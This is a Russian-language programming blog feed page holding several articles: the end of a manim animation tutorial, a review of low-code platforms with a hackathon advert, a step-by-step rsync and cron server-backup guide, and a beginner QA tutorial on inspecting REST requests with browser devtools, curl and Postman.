        self.add(circle, star, square)
    

В результате последний объект списка оказался на самом верху. У нас это квадрат.

Анимации

Наконец мы с вами добрались до самого сочного, что есть в этой библиотеке – до анимаций.

Чтобы добавить анимацию, необходимо вызвать метод сцены play(). Создадим новый файл manim_animations.py и добавим в него следующий код:

manim_animations.py
        from manim import *
 
class ShapeAnimation(Scene):
    def construct(self):
        square = Square()
        self.add(square)
        self.play(FadeIn(square))
        self.play(Rotate(square, PI/4))
        self.play(FadeOut(square))
        self.wait(1)
    

Результат будет следующим:


Разберемся по строкам, что здесь происходит:

  1. Создаем объект квадрата.
  2. Добавляем его в начало координат сцены.
  3. Проигрываем анимацию FadeIn (появление объекта).
  4. Проигрываем анимацию Rotate (поворот объекта) на угол PI/4.
  5. Проигрываем анимацию FadeOut (исчезновение объекта).
  6. Ждем одну секунду.

FadeIn и FadeOut плавно изменяют прозрачность объекта от 0 до 1 и 1 до 0 соответственно.

Кроме того, любое свойство mobject, которое может быть изменено, может быть и анимировано с помощью метода animate(). Создадим новую сцену, чтобы это продемонстрировать. Добавим квадрат красного цвета, изменим его цвет и сместим с поворот на одну единицу вверх.

manim_animations.py
        class ShapePropsAnimation(Scene):
    def construct(self):
        square = Square().set_fill(BLUE, opacity=1.0)
        self.add(square)
 
        self.play(square.animate.set_fill(RED))
        self.wait(1)
 
        self.play(square.animate.shift(UP).rotate(PI/3))
        self.wait(1)
    

Результат:


  • animate() – это свойство любого mobject, которое анимирует все, что идет за ним по цепочке. Например, чтобы анимировать свойство set_fill(WHITE), необходимо его вызвать следующим образом:
        animate.set_fill(WHITE)
    

По умолчанию, все переданные в качестве аргументов в play() анимации проигрываются одну секунду. Чтобы изменить это время, необходимо задать параметр run_time. Создадим новую сцену, чтобы это продемонстрировать.

manim_animations.py
        class ShapeRunTimeAnimation(Scene):
    def construct(self):
        square = Square()
        self.add(square)
        self.play(square.animate.shift(UP), run_time=3)
        self.wait()
    

Тут анимация движения квадрата длится не одну секунду, а три.


Хотя manim имеет множество встроенных анимаций, вам может их не хватить. Чтобы реализовать собственные, придется создать и собственного наследника класса Animation, в котором необходимо перегрузить метод interpolate_mobject(). Он получает параметр alpha, который начинается с 0 и изменяется на протяжении всей анимации. Manim предоставляет этот параметр в методе interpolate_mobject() на основе частоты кадров видео и времени воспроизведения анимации. Он изменяется 0 до 1 и скрывает под собой относительное время анимации. Т.е. 0 – начало анимации, 0.5 – середина, 1 – конец.

Для примера создадим анимацию преобразования одного числа в другое. В manim присутствует анимация этой трансформации, FadeTransform, но она преобразует одно число в другое через исчезновение первого и появление второго. Мы сделаем по-другому. Пусть наша трансформация будет выглядеть, как счетчик от стартового до конечного числа. Для этого создадим класс CountAnimation, который является наследником Animation.

Для полного понимания, рассмотрим подробнее параметр alpha.

Создадим анимацию преобразования числа 50 в число 100. Тогда alpha будет иметь следующие значения:

  • alpha = 0, тогда текущее значение равняется 50, т.е. стартовому.
  • alpha = 0.5, тогда текущее значение равняется 75.
  • alpha = 1, тогда текущее значение равняется 50, т.е. конечному.

Мы начинаем со стартового числа и добавляем только некоторую часть разницы между концом и началом, которая будет увеличиваться в соответствии с альфа-значением. Итак, логика вычисления числа для отображения на каждом шаге будет следующей:

50+alpha⋅(100−50)

Реализуем классы анимации и сцены. Создадим файл count_animation.py в папке с проектом:

count_animation.py
        from manim import *
 
class CountAnimation(Animation):
    def __init__(self, number: DecimalNumber, start: float, end: float, **kwargs) -> None:
        super().__init__(number, **kwargs)
        self.start = start
        self.end = end
   
    def interpolate_mobject(self, alpha: float) -> None:
        value = self.start + (alpha * (self.end - self.start))
        self.mobject.set_value(value)
 
 
class CustomCountingScene(Scene):
    def construct(self):
        number = DecimalNumber().set_color(WHITE).scale(5)
        number.add_updater(lambda number: number.move_to(ORIGIN))
 
        self.add(number)
        self.wait()
        self.play(CountAnimation(number, 0, 100), run_time=4, rate_func=linear)
        self.wait()
    

DecimalNumber – это еще один Mobject. Наша анимация принимает в свой конструктор объект number, и начальные и конечные значения от 0 до 100, преобразование будет занимать 4 секунды, а скорость преобразования будет линейной. В результате получим следующую анимацию:


Трансформации

Трансформация – это тоже анимация, которая преобразует один mobject в другой. В самом начале статьи мы с вами использовали трансформацию квадрата в звезду.

Для примера, создадим трансформацию квадрата в круг в новом файле transform.py со следующим содержимым:

transform.py
        from manim import *
 
 
class SquareToCircleScene(Scene):
    def construct(self):
        square = Square().set_fill(BLUE, opacity=1.0)
        circle = Circle().set_fill(RED, opacity=1.0)
        self.add(square)
        self.play(Transform(square, circle), run_time=2)
        self.wait()

    

Результат:


Другие трансформации можно найти в документации.

***

В следующих статьях цикла мы рассмотрим более сложные аспекты использования библиотеки manim. Удачи в обучении!

Дополнительные материалы:

12
Ноя
2021

🛠 7 лучших платформ Low и No-Code для разработки бизнес-приложений

Существует немало платформ Low и No-Code, позволяющих разрабатывать приложения для бизнеса. В небольшом обзоре выделим 7 лучших решений и рассмотрим их более подробно.

С появлением платформ Low и No-Code создавать коммерческие приложения стало проще чем когда-либо. Благодаря им появилась возможность разрабатывать сложные программы за небольшой срок, не тратя на это огромных денег. Вдобавок вам необязательно быть экспертом-кодером, чтобы реализовать необходимую для бизнеса функциональность, ведь воплотить в жизнь задуманное можно практически без навыков программирования.

В таких платформ используется графический интерфейс с минимальной логикой и возможностью перетаскивания нужных функциональных блоков вместо написания бесчисленных строк кода. Они способны автоматизировать рабочие процессы, а также предлагают полезные инструменты для разработки бизнес-идей.

Преимущества:

  • Высокая производительность. Больше приложений за меньшее время из-за отсутствия необходимости писать длинные кодовые конструкции
  • Снижение расходов из-за отсутствия потребности в услугах команд разработчиков и использовании дорогих инструментов.
  • Гибкость бизнеса. Есть возможность создавать кроссплатформенные приложения, работающие на разных устройствах.
  • Эффективное управление: правила и условия ведения бизнеса на рынке часто меняются, простая автоматизация поможет вам свести риски к минимуму.

1. Airtable


Airtable – мощная платформа с большой базой данных, которой доверяют более 200 тысяч организаций по всему миру. С ее помощью вы модернизируете свои бизнес-процессы благодаря созданию эффективных приложений для решения широкого круга задач.

Здесь вы найдете множество полезных шаблонов для планирования и запуска новых продуктов, настройки каталога товаров, логистики, анализа рынка и многого другого. Для большей продуктивности есть функция совместной работы, настраиваемые уведомления и автоматизация повторяющихся задач.

Вы сможете оптимизировать рабочий процесс, интегрировав в приложения такие сервисы, как Slack, Gmail, Facebook, Twitter, Teams, Google Sheets и т.д. Airtable позволяет работать из любого места и в любое время. Вы можете редактировать, комментировать и синхронизировать изменения на всех устройствах, используя настольные и мобильные приложения.

2. Microsoft Power Apps


Платформа предоставит вам возможность создавать любые программы с низким уровнем кода для решения связанных с изменчивыми условиями бизнеса проблем. Доступны готовые шаблоны и встроенная функциональность перетаскивания.

В Power Apps есть мощные инструменты для работы, включая встроенные компоненты искусственного интеллекта. С его помощью вы сможете подключиться к многочисленным источникам данных и получать ценные сведения, используя мощные коннекторы и Microsoft Dataverse. Функции приложения расширяются при помощи Office 365 и Dynamics 365. Разработанные продукты легко масштабируются и интегрируются со сторонними сервисами, их можно использовать совместно с коллегами, работая на разных устройствах.

3. Caspio


Отличный вариант для создания надежных масштабируемых облачных low-code сервисов и программ. Платформу использует более 15 тысяч зарегистрированных клиентов, от государственных учреждений и глобальных корпораций, до малых предприятий, университетов и некоммерческих организаций.

Caspio поможет вам в планировании дизайна базы данных, в работе с пользователями, в управлении бизнес-процессами и в решении рутинных задач. Платформа предлагает интуитивно понятные инструменты для визуальной разработки облачных приложений с формами, панелями мониторинга и отчетами.

Вы поймете, как проектировать, разрабатывать и управлять своими программами. Сможете безупречно встраивать их в любой портал, сайт или CMS. Caspio работает на SQL Server и AWS – это отличный стек технологий для лучшей производительности и безопасности. Его можно использовать в сфере продаж, маркетинга, ИТ, администрирования, поддержки, HR и финансов.

Платформа поддерживает 11 основных языков, предоставляет возможность работы с международными валютами и учитывает часовые пояса. Использует технологию зашифрованных паролей и контроля доступа на основе IP. Интегрируется со всеми известными бизнес-сервисами.

4. OutSystems


OutSystems трансформирует разработку программного обеспечения и помогает быстро создавать и развертывать сложные приложения с использованием облачных решений, DevOps и AI. С OutSystems становится легко справляться с рутинными бизнес-процессами с учетом изменчивых потребностей рынка. Платформа предлагает множество сервисов автоматизации и интегрированных инструментов для создания безопасных, масштабируемых, простых в управлении и отказоустойчивых приложений.

OutSystems ускоряет и упрощает оптимизацию жизненного цикла программ, предоставляя для работы новейшие облачные технологии. Также она имеет удобный пользовательский интерфейс с функцией перетаскивания и возможностью разрабатывать программы для любых устройств. Их можно обновлять и развертывать при помощи одного щелчка мыши, быстро анализируя модели и рефакторинг зависимостей. Есть функции защиты учетной записи и синхронизации данных в автономном режиме.

5. Zoho Creator


Zoho Creator – одна из наиболее компетентных платформ с низким уровнем кода и неплохими функциональными возможностями. С ее помощью у вас получиться сделать все быстро, легко и безопасно, несмотря на уровень технической подготовленности в области программирования.

Это набор инструментов, с помощью которого вы сможете трансформировать бизнес за счет создания концептуальных мультиплатформенных приложений: от минималистичных журналов вызовов до сложных ERP. Он ускорит процесс разработки при помощи интуитивно понятных редакторов кода и визуальных конструкторов. Zoho Creator предлагает обширную коллекцию полезных шаблонов (управление заказами, работа с дистрибьюторами и поставщиками, логистика, склад и др.), устанавливаемых и настраиваемых в соответствии с требованиями заказчика. Сервис также поддерживает FileMaker, MS Access и другие базы данных.

6. Knack


Быстрая no-code платформа с простыми инструментами для структурирования данных в надежную онлайн-базу. Чистый и понятный интерфейс Knack, упрощает разработку приложений и не требует написания ни единой строчки кода. Доступные функции и компоненты, понятные формы, карты, отчеты, календари и учетные записи – все что нужно для администрирования рутинных задач.

Кроме того, база данных Knack позволяет создавать объекты, соответствующие вашим уникальным требованиям. В одну платформу встроены десятки полезных шаблонов и плагинов по работе с дизайном, SEO, геолокацией пользователей, безопасными платежными системами, уведомлениями и прочим.

Для расширения и настройки интерфейса приложения можно использовать JavaScript, а для управления его внешним видом – подключать дополнительные стилевые файлы. С Knack легко анализировать, управлять и обмениваться данными, благодаря интеграции с Gmail, MailChimp, Dropbox, WebMerge, Google Drive и Zapier.

7. Mendix


Инструмент для создания развертываемых быстро программ корпоративного уровня помогает бизнесу работать без сбоев. Применяется он для автоматизации и структурирования процессов поставки товаров, обслуживания заводского оборудования, управления доставкой, аналитикой и отчетностью, отслеживания логистики, интеллектуального банкинга с искусственным интеллектом, цифрового страхования и много чего еще.

Возможность подключения к приложениям когнитивных сервисов и ИИ, сделает их соответствующими требованиям нынешнего поколения пользователей.

Mendix позволяет сделать сквозную автоматизацию процессов, объединяющую в одном сервисе людей, системы и данные. Он позволяет интегрировать логику из любого источника, а созданные приложения можно расширить и сделать открытыми для других платформ.

Заключение

Представленные в обзоре платформы справятся с основными проблемами пользователей, но часто компаниями нужны кастомные решения No-code и не важно, будут ли они созданы с помощью упомянутых инструментов или разработаны под конкретную задачу. Важно, что решения No-code позволяют обычным сотрудникам вносить изменения в корпоративные системы без помощи программистов.

Скорость внесения доработок влияет на самые разные бизнес-процессы:

  • управление корпоративными продажами;
  • управление программами лояльности;
  • управление взысканием задолженности;
  • управление обслуживанием клиентов;
  • управление маркетингом;
  • управление HR.
***
Именно такие решения ищет российская ИТ-компания Т1 Консалтинг на хакатоне T1 Digital Challenge. Если вы тесно связаны с разработкой подобного рода программ, знаете как с помощью рассмотренных (или других) сервисов предложить корпоративный No-code инструмент или имеете готовые наработки для создания универсальной площадки для бизнеса, примите в нем участие.

Т1 Консалтинг уже во второй раз проводит хакатон, посвященный созданию корпоративных сервисов. На этот раз участникам предлагается выбрать одно из двух тематических направлений:

  • Разработать классический корпоративный инструмент при помощи любой No-code платформы, которым сможет пользоваться любой сотрудник без привлечения программистов;
  • разработать корпоративное решение по улучшению Customer Experience (CX).

На сайте хакатона подробно описаны задачи и предложены варианты кейсов для их решения. Можно выбрать один из перечисленных или создать свой.

Мероприятие пройдет в Москве 27 – 28 ноября, прием заявок продлится до 17 ноября. Призовой фонд хакатона составляет 500 000 рублей.

Отправляя заявку, опишите функциональность или готовую идею, которую вы готовы воплотить в жизнь на хакатоне. Компания отберет наиболее интересные и объявит список финалистов 19 ноября.

Кроме того, в рамках хакатона пройдет T1 Pitch Day, на котором стартапы и предприниматели с готовыми финтех-решениями по направлениям хакатона смогут презентовать свой проект топовому жюри и получить шанс сотрудничать не только с Т1 Консалтинг, но и с партнерами компании, в числе которых Почта Банк, Росбанк, ВТБ и другие.

11
Ноя
2021

👨‍💼 ТОП-10 инструментов для Business Intelligence в 2021 году

Хороший аналитик знает, какой инструмент лучше всего подходит для конкретной ситуации. Наш ТОП-10 позволит новичкам в Business Intelligence заранее подготовить стек лучших решений, заслуживающих изучения.

02
Ноя
2021

Хакатон T1 Digital Challenge

Хакатон для разработчиков, ноукодеров и других специалистов без ограничений в навыках с призовыми фондом 500 000 рублей.
— Читать дальше «Хакатон T1 Digital Challenge»

20
Окт
2021

🛠 Как использовать rsync для резервного копирования файлов ваших VDS

Рассмотрим кейс резервного копирования файлов между сервером Prod и сервером Backup. В качестве инструмента будем использовать популярную бесплатную утилиту rsync.

Синхронизация, мощный инструмент для системных администраторов. Синхронизация состояния файлов между двумя или более серверами, одна из повседневных задач системных администраторов.

Утилита rsync позволяет производить синхронизацию директорий по ssh и поддерживает следующие методы:

  • Sync method (синхронизация только изменений указанной директории).
  • Snapshot (создание полной копии указанной директории).

В статье разберем оба метода, а также автоматизируем комплексный backup по расписанию.

Что нам понадобится:

  • Сервер с OS Ubuntu 20.04 LTS – Prod.
  • Сервер с OS Ubuntu 20.04 LTS – Backup.
Серверы для тестов предоставлены компанией Selectel.

Заходим по ssh на сервер Prod:

        ssh [email protected]
    

Поскольку утилита rsync работает через ssh, необходимо сгенерировать ключ:

        ssh-keygen -t rsa -b 4096 -v

Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA250q8TsT/X5pM+KE2n1Biz3Sre/p425I5wnRSI [email protected]
The key's randomart image is:
+---[RSA 4096]----+
|                 |
|                 |
|             .   |
|          E o *  |
|        S ...B.+.|
|       . + *+.ooB|
|        + +oB=o=+|
|         o +*=+Oo|
|            +*OBX|
+----[SHA256]-----+


    

Затем копируем сгенерированный ключ на сервер Backup:

        ssh-copy-id [email protected]


    

Копирование ключа делается один раз и позволяет не вводить пароль при соединении по SSH. Зайдем на бэкап-сервер с помощью ssh:

        ssh [email protected]
    

Видим что мы зашли на сервер и у нас не спросили пароль 🙂 Так как мы на сервере Backup сервере предлагаю создать директорию backup. Сюда будем сохранять резервные копии файлов с сервера Prod. Возвращаемся обратно на Prod сервер.

        cd /root | mkdir backup
exit

    

Метод Sync (инкрементальное сохранение изменений)

При таком методе сохраняются только изменения в целевой директории. Утилита rsync мониторит директорию и если произошли следующие события отправляет изменения на сервер Backup.

  • Если были добавлены новые файлы.
  • Если были произведены изменения в файлах контролируемой директории.
  • Если было удаление файлов в контролируемой директории.

На сервере Prod создадим директорию и в ней файлы, которые будет мониторить утилита rsync:

        cd var
mkdir www
cd www
touch 1.html index.html hello.html


    

Мы перешли в var и там создали директорию www с файлами 1.html, index.html, hello.html.

Почти готово 🙂 Запускаем rsync в режиме синхронизации изменений:

        rsync -azvP --delete /var/www/ [email protected]:/root/backup/

sending incremental file list
./
1.html
              0 100%    0.00kB/s    0:00:00 (xfr#1, to-chk=2/4)
hello.html
              0 100%    0.00kB/s    0:00:00 (xfr#2, to-chk=1/4)
index.html
              0 100%    0.00kB/s    0:00:00 (xfr#3, to-chk=0/4)

sent 222 bytes  received 76 bytes  198.67 bytes/sec

    

Видим что была отправка файлов на сервер Backup. Теперь внесем изменения. Удалим файл hello.html и создадим новый файл 2.html:

        rm -r hello.html
touch 2.html


    

Повторно запустим rsync:

        rsync -azvP --delete /var/www/ [email protected]:/root/backup/




    
        sending incremental file list

deleting hello.html

./

2.html

              0 100%    0.00kB/s    0:00:00 (xfr#1, to-chk=1/4)

sent 150 bytes  received 52 bytes  134.67 bytes/sec

total size is 0  speedup is 0.00


    

Видим что rsync удалил в папке backup файл hello.html и скопировал туда файл 2.html. Предлагаю создать исполняемый файл, в дальнейшем он нам понадобится для автоматизации бекапа:

        nano sync.sh


    
        #!/bin/sh

rsync -azvP --delete /var/www/ [email protected]:/root/backup/


    

Теперь нет необходимости запоминать длинную команду rsync, а достаточно запустить sync.sh (не забудьте сделать его исполняемым с помощью команды chmod):

        sh sync.sh
    

Метод Snapshot (создание полной копии указанной директории)

У метода инкрементного бэкапа есть недостаток. Если вы, к примеру, ошибочно удалите файлы, то удаление также произойдет и в директории backup. Файлы будут утеряны. Для решения проблемы можно реализовать следующий алгоритм:

  • Делаем инкрементный backup каждый день утром в 09:30.
  • Делаем полный backup (Snapshot) еженедельно в понедельник 10:30.

Snapshot кладем в предварительно созданную директорию snapshot на сервере Backup. Создаем snapshot.sh:

        nano snapshot.sh


    
        !/bin/sh

DATE=$(date +%Y-%m-%d-t-%H-%M-%S)

rsync -arvt -t /var/www/ [email protected]:/root/backup/snapshot/$DATE

    

Запускаем:

        sh snapshot.sh


    
        sending incremental file list
created directory /root/backup/snapshot/2021-09-01-t-16-44-29
./
1.html
2.html
index.html
snapshot.sh
sync.sh

sent 577 bytes  received 180 bytes  1,514.00 bytes/sec
total size is 213  speedup is 0.28


    

Из вывода результата исполнения snapshot.sh видим, что была сделана и отправлена полная копия сохраняемой директории в backup с именем текущей даты и времени.

Автоматизируем задачу копирования файлов

Автоматизируем наш backup. Мы не зря создавали исполняемые файлы sync.sh и snapshot.sh. Теперь нужно создать в планировщике Cron задание:

        crontab -e


    
        # Ежедневное копирование изменений в 09:30
30 9 * * * /root/sync.sh

# Еженедельное копирование полной копии в Понедельник 10:30
30 10 * * 1 /root/snapshot.sh


    

Готово! В планировщике два задания которые будут с помощью утилиты rsync копировать ежедневные изменении и раз в неделю делать полную копию.

***
Чтобы ускорить работу системы, выберите провайдера инфраструктуры, который наилучшим образом соответствует требованиям вашего ресурса: объем накопителя, процессор и количество ядер, объем оперативки и ежемесячного трафика, наличие резервного копирования, быстрая техническая поддержка. Мы тестировали серверы, любезно предоставленные компанией Selectel.

Для резервного копирования с одного рабочего сервера отдельная физическая машина может показаться избыточной, если проект не особенно крупный. Такая конфигурация скорее подойдет для нескольких серверов на проде (или одного, если он обслуживает большой проект). Selectel предлагает серверы, оснащенные 4-768 ГБ ОЗУ, 2-72 ядрами ЦП, а также с возможностью подключить графический ускоритель и выбрать в качестве сервера даже Raspberry Pi 4 (4/64 ГБ) и Mac mini для iOS-разработчиков.

17
Окт
2021

🛠 Всё, что нужно знать начинающему о Git: рассмотрим за 15 минут

Распределенная система контроля версий Git – популярный инструмент для координации параллельной работы и управления проектами в мире ИТ. Умение им пользоваться хотя бы на уровне основных команд необходимо даже начинающему разработчику.

17
Окт
2021

🛠 Всё, что нужно знать начинающему о Git: рассмотрим за 15 минут

Распределенная система контроля версий Git – популярный инструмент для координации параллельной работы и управления проектами в мире ИТ. Умение им пользоваться хотя бы на уровне основных команд необходимо даже начинающему разработчику.

26
Сен
2021

🕸 17 убийственных сайтов для веб-разработчиков

Хранение под рукой полезных сайтов – хороший способ повышения производительности труда для дизайнера или веб-разработчика. Разберем некоторые из лучших инструментов, способных уменьшить объем вашей повседневной рутины.

21
Сен
2021

Инструменты в повседневной работе JavaScript-разработчика

Основные инструменты, без которых сложно представить будни JavaScript-разработчика: от IDE до браузера.
— Читать дальше «Инструменты в повседневной работе JavaScript-разработчика»

16
Сен
2021

🛠 5 лучших инструментов управления проектами, о которых вы могли не знать

В старые времена для собрания по планированию спринта требовалась только доска, маркер и стикеры. В наши дни появились цифровые инструменты, которые делают планирование более эффективным, а спринт – более успешным.

14
Сен
2021

Защищаем свой код от багов: обзор пяти статических анализаторов для Java-кода

Статические анализаторы могут найти и исправить проблемный код Кратко рассмотрим популярные статические анализаторы для Java-кода.  
— Читать дальше «Защищаем свой код от багов: обзор пяти статических анализаторов для Java-кода»

14
Сен
2021

🛠 Осваиваем инструменты QA-инженера или как ручному тестировщику работать с REST API

Изучишь REST API – останешься в Стране Чудес, и я покажу тебе, насколько глубоко уходит кроличья нора и как удобнее всего в нее нырнуть.

Пусть за спиной остался не один баг-репорт, написан не один ручной тест и пройден не один регресс, но почему все еще кажется, будто мир тестирования так и не открыл свои тайны? Ответ прост: пора двигаться дальше. Ведь баги возникают не просто так, и веб-браузер – это не картинка на экране.

Общение между сервером и клиентом, краткое определение REST API

Большинство веб-приложений в современном мире работают на клиент-серверной архитектуре. Основной ее смысл в том, что сетевая нагрузка распределена между поставщиком (сервер) и потребителем (клиент). Общение между ними осуществляется через сетевые протоколы, но для любого общения нужны правила, и тут мы как раз подходим к REST API.

Схема клиент-серверной архитектуры.
Схема клиент-серверной архитектуры.

REST (Representational State Transfer) – это набор правил взаимодействия компонентов распределенного приложения, которые включают в себя следующие требования (ограничения):

  • отделять в архитектуре клиент от сервера;
  • в период между запросами клиента никакая информация о его состоянии не должна храниться на сервере;
  • необходима возможность кэширования ответов сервера;
  • необходимо единообразие интерфейса для возможности независимого развития каждого сервера;
  • необходимо предоставлять возможность добавления слоев между клиентом и сервером для лучшей масштабируемости и безопасности.

Почему большинство веб-приложений используют REST?

Если REST API – набор способов, подчиняющихся определенным правилам, то зачем большинство web-приложений используют такое сочетание?

  • Правила порождают порядок и единообразие. Это облегчает работу с кодом, а также его чтение.
  • Сервисы становятся масштабируемыми, что дает возможность сделать приложение отказоустойчивым и более безопасным.
  • Появляется возможность более легкого исправления ошибок и внесения изменений.
  • Прозрачность связей между компонентами также упрощает чтение и работу с кодом.

Перечислять можно долго, но основной смысл в том, что такой подход упрощает работу и систематизирует код.

Определяем где ошибка, классификация кодов HTTP

Хватит общих слов. Пора переходить к практике: нужно открыть devtools браузера (нажать клавишу F12) и перейти во вкладку Network (можно настроить фильтр на показ XHR, так будет удобнее).

Скриншот браузера с открытой панелью devtools.
Скриншот браузера с открытой панелью devtools.

Колонка статуса показывает статус выполнения запроса, прошел ли он успешно, или была допущена ошибка. Если кратко, то статусы можно для простоты сортировать следующим образом:

1xx Информационные сообщения. Например, 102 – идет обработка запроса.
2xx Успешное сообщение.
3xx Была проведена переадресация, т.е. запрашиваемая информация больше не находится по этому адресу и запрос полетел по другому адресу.
4xx Ошибка на стороне клиента. Т.е. нужно изменить запрос или его заголовки, например.
5xx Ошибка на стороне сервера. Можно открыть логи (если есть возможность) и поискать ошибку.

Допустим, был интересен определенный запрос, потому что именно его меняли в нужном релизе, или его статус указывает на ошибку. Чтобы посмотреть информацию по запросу, нужно дважды щелкнуть (уверена, что знаете, но проговорить нужно):

Скриншот браузера с открытой devtools.
Скриншот браузера с открытой devtools.

Основная информация, которую можно посмотреть по запросу, начиная работать с REST – это первые три вкладки:

  • Headers – заголовки и основная информация.
  • Preview – посмотреть тело запроса.
  • Response – посмотреть тело ответа.

Остальные вкладки можно рассмотреть как-нибудь потом.

На первой вкладке содержится общая информация по данному запросу, а также header, которые в нем используются (дополнительная информация к запросу, передаваемая между сервером и клиентом).

В общей информацией указан метод, который используется в запросе (в данном случае GET). Основные используемые методы (о других можно дополнительно почитать здесь).

GET Получение данных. Например, чтобы загрузить статью на странице.
POST Создание сущности.Например при создании нового пользователя.
PUT Обновление сущности. Например изменение пароля или логина у уже существующего пользователя или заголовка статьи.
DELETE Удаление сущности. Например удаление статьи, пользователя или теста. Иногда вместо DELETE используется PUT с пустым телом запроса.

Еще нужно обратить внимание на такой заголовок как Content-Type. Он отображает в каком формате передаются данные в запросе: json, xml или text.

Инструменты тестировщика для работы с REST

Существует множество удобных инструментов для работы и проверки REST-запросов. В статье я перечислю те которые удобны мне и подходят для решения начальных задач. При желании этот список легко расширить.

Первый инструмент, который не требует никакой дополнительной установки – это devtools используемого браузера. Достаточно нажать F12 и начать отслеживать, какие запросы летят и нет ли ошибок, которые нужно задокументировать в баг.

Второй инструмент, который всегда под рукой у пользователя Unix/Linux – это curl (в Windows нужно будет его специально установить). Чтобы посмотреть информацию по этой утилите, достаточно набрать следующую команду в терминале:

        man curl
# или
curl --help

    

Для начала можно попробовать отправить GET-запрос и получить ответ:

        curl -i https://proglib.io/posts/fetch
    
Непонятные символы появились, потому что нет русификации консоли.
Непонятные символы появились, потому что нет русификации консоли.

Был повторен GET-запрос и получен ответ. Используя ключ -i, можно посмотреть дополнительную информацию. Дальше можно попробовать отправить POST-запрос, сразу же отправив header content-type:

        curl -i -X POST -d '' -H 'content-type: application/json' https://proglib.io/post/info
    
Консоль с вызванным curl.
Консоль с вызванным curl.

В нашем запросе -X POST показывает, что используется метод POST (по умолчанию отправляется метод GET), -d ‘’ – тело запроса (в данном случае пустое) и -H 'content-type: application/json' – заголовок, показывающий, что тип сообщений – json. В ответ пришел статус 400, значит тело запроса нужно менять.

Немного освоив curl, можно переходить к более высокоуровневому инструменту. В статье я рассмотрю Postman, но есть и другие варианты.

Postman – свободно распространяемая программа с платным контентом для взаимодействия в команде. Для работе в ней нужно зарегистрировать свою почту на официальном сайте и скачать десктопную версию (хотя можно работать и через браузер). Также для Postman есть официальная документация и обучающие видео.

Начнем с отправки того же самого GET-запроса, что и с помощью curl:

Скриншот программы Postman.
Скриншот программы Postman.

На картинке видно, что заголовки были заполнены автоматически. Ответ более читаемый, чем при запросе с помощью curl.

Теперь можно отправить POST-запрос, тело которого также будет пустым, и будет прописан указывающий тип запроса header:

Скриншот программы Postman.
Скриншот программы Postman.

Был получен такой же ответ с таким же статусом, как и при отправке запроса с помощью curl.

Postman умеет еще множество вещей: можно собирать запросы в коллекции, писать тесты на Java Script, осуществлять мониторинг определенных запросов, документировать их и т.д.

Выводы

Можно продолжать тестировать только клиентскую часть, раз за разом проводя тест-дизайн, пытаться отловить ошибку и не пытаясь проанализировать ее с точки зрения кода программы… Но разве этого достаточно? Разве не хочется заглянуть под картинку и увидеть, как все работает?

В статье описаны основы и показаны некоторые инструменты. Открытие консоли браузера – только первый шаг, который ведет к нагрузочному тестированию, автоматизации rest-test или пониманию, как все устроено. Однако дорогу осилит идущий, а в следующих публикациях мы разберем и более сложные темы. Удачи!

***

Если вы только начинаете осваивать профессию, стоит обратить внимание на Факультет ручного тестирования образовательной онлайн-платформы GeekBrains. Обучение длится всего 10 месяцев и включает теоретическую часть, практику с четырьмя проектами в портфолио и как бонус – диплом о профессиональной переподготовке с гарантированным трудоустройством. Программа обучения актуальна, а занятия ведут практикующие специалисты российских технологических компаний.